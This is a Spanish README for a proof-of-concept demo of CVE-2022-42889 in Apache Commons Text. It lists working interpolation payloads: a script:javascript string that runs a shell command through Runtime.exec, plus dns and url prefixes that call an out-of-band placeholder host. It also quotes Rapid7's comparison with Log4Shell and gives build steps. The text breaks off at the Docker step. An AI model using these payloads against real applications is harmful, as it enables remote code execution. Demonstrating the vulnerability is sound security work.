CVE-2022-42889-POC

Una aplicación de demostración simple que muestra cómo explotar la vulnerabilidad CVE-2022-42889.
Utiliza servicios OOB (Out of Band) para demostrar los prefijos dns y url.

JavaDocs para la interpolación de commons-text commons-text JavaDocs

Interpolaciones de ejemplo

• script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
• dns ("${dns:address|HOST}")
• url ("${url:UTF-8:http://HOST")

Cita de Rapid7

La vulnerabilidad se ha comparado con Log4Shell, ya que es una vulnerabilidad a nivel de biblioteca de código abierto que probablemente afecte a una amplia variedad de aplicaciones de software que utilizan el objeto correspondiente.
Sin embargo, el análisis inicial indica que se trata de una comparación incorrecta. La naturaleza de la vulnerabilidad implica que, a diferencia de Log4Shell, será raro que una aplicación utilice el componente vulnerable de Commons Text para procesar entradas no confiables y potencialmente maliciosas.

Requisitos previos

• docker
• java
• maven

Se pueden omitir Java y maven si se obtiene una imagen de Docker Hub

Uso

Compilar la aplicación

mvn clean package

Crear la imagen docker